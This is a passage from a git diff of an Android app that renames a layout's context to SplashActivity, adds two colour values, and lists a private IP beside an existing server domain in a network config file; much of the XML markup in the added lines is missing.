android:background="@color/white" - tools:context=".preview.ComeInActivity"> + tools:context=".SplashActivity"> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/app/src/main/res/values/colors.xml b/app/src/main/res/values/colors.xml index e67a027..dc4ecdf 100644 --- a/app/src/main/res/values/colors.xml +++ b/app/src/main/res/values/colors.xml @@ -7,4 +7,6 @@ #5ec1a1 #f8fffd #26bd69 + #60D889 + #CE3A54 \ No newline at end of file diff --git a/app/src/main/res/xml/net.xml b/app/src/main/res/xml/net.xml index 0ac6102..b98eb6c 100644 --- a/app/src/main/res/xml/net.xml +++ b/app/src/main/res/xml/net.xml @@ -2,5 +2,6 @@ mobile-server.lux-ad.com + 172.24.100.10